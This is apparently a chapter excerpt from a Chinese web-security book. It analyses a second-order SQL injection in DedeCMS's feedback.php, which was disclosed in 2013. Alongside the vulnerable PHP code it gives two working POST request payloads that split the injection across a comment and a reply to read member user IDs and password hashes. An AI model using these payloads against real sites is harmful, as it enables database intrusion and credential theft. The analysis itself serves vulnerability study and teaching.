7.3 dedecms 二次注入漏洞分析
顺便找一找还是能找到不少二次漏洞很经典的案例,这里我们还是以 dedecms 的 feedback.php 文件引用评论的 SQL 注入漏洞来做一个分析,该漏洞在 2013 年 3 月在乌云网被公布,漏洞编号 WooYun-2013-18562,作者为 safekey 团队的 yy520,公布初期还有一个 60 个注入字符的限制,在经过 safekey 团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。在漏洞公布之后,官方立即采取措施进行了漏洞修复,但非专业安全的人修复漏洞都有一个通病,不会做漏洞联想,别人指出哪有漏洞就修哪,跟这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。
漏洞在/plus/feedback.php 文件,代码如下:
// 保存评论内容 if ( $comtype == 'comments' ) { $arctitle = addslashes ( $title ); // 保存评论的文章标题 $typeid = intval ( $typeid ); $ischeck = intval ( $ischeck ); $feedbacktype = preg_replace ( "#[^0-9a-z]#i" , "" , $feedbacktype ); if ( $msg ! ='' ) { $inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); " ; $rs = $dsql->ExecuteNoneQuery ( $inquery ); if (! $rs ) { ShowMsg ( ' 发表评论错误! ' , '-1' ); //echo $dsql->GetError (); exit ();
这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:
$arctitle = addslashes ( $title );
获取被评论的文章标题,这里使用了 addslashes() 函数过滤,接着:
$inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); " ; $rs = $dsql->ExecuteNoneQuery ( $inquery ); $rs = $dsql->ExecuteNoneQuery ( $inquery );
将提交的$arctitle 变量保存到数据库中,这个过程是没有问题的,我们接着看:
// 引用回复 elseif ( $comtype == 'reply' ) { $row = $dsql->GetOne ( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" ); $arctitle = $row['arctitle'] ; // 取出之前保存的文章标题 $aid =$row['aid'] ; $msg = $quotemsg.$msg ; //echo $msg."<br /><br />" ; $msg = HtmlReplace ( $msg , 2 ); // 将 $arctitle 插入到数据库 $inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ) " ; $dsql->ExecuteNoneQuery ( $inquery ); }
这段代码的作用是引用之前的评论到新的评论中,其中:
$row = $dsql->GetOne ( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" ); $arctitle = $row['arctitle'] ; // 取出之前保存的文章标题
取出之前提交的文章标题,赋值给$arctitle 变量,再往下:
$inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arc-title` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ) " ; $dsql->ExecuteNoneQuery ( $inquery );
可以看到$arctitle 变量被写入到数据库,看到这里还记不记得,这个$arctitle 是由用户提交的,第一次写入数据库的时候使用了 addslashes() 函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如图 7-2 所示。
图 7-2
用 SQL 来表示一下如下:
第一次插入的 SQL 为:
insert into xx ( arctitle ) values ( '11\'' );
保存到数据库的标题内容为 11',然后这个数据被 select 查询出来拼接到第二次插入的 SQL 上,SQL 语句如下:
insert into xx ( arctitle ) values ( '11'' );
可以看到引发了 SQL 注入。
在这个漏洞中,标题字段有 60 个字符的长度限制,不能一次性把完整的 payload 写入进去,所以我们需要两次提交 payload,最终利用方式如下,第一次请求提交
/plus/feedback.php?aid=52
POST 内容:
action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx' ,( char ( @`'` )), /*
我们打印 SQL 语句出来看看,如图 7-3 所示。
图 7-3
第二次请求:
/plus/feedback.php?aid=52
POST 内容:
action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1 , 2 , 3 , 4 , 5 , 6 , 7 ,( select/**/concat ( userid , 0x3a , pwd ) /**/from/**/dede_member/**/limit/**/1 )) %23
打印 SQL 语句出来看看,如图 7-4 所示。
图 7-4
发送两次请求后访问:
/plus/feedback.php?aid=52
可以看到管理员密码已经被读取出来,如图 7-5 所示。
图 7-5
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论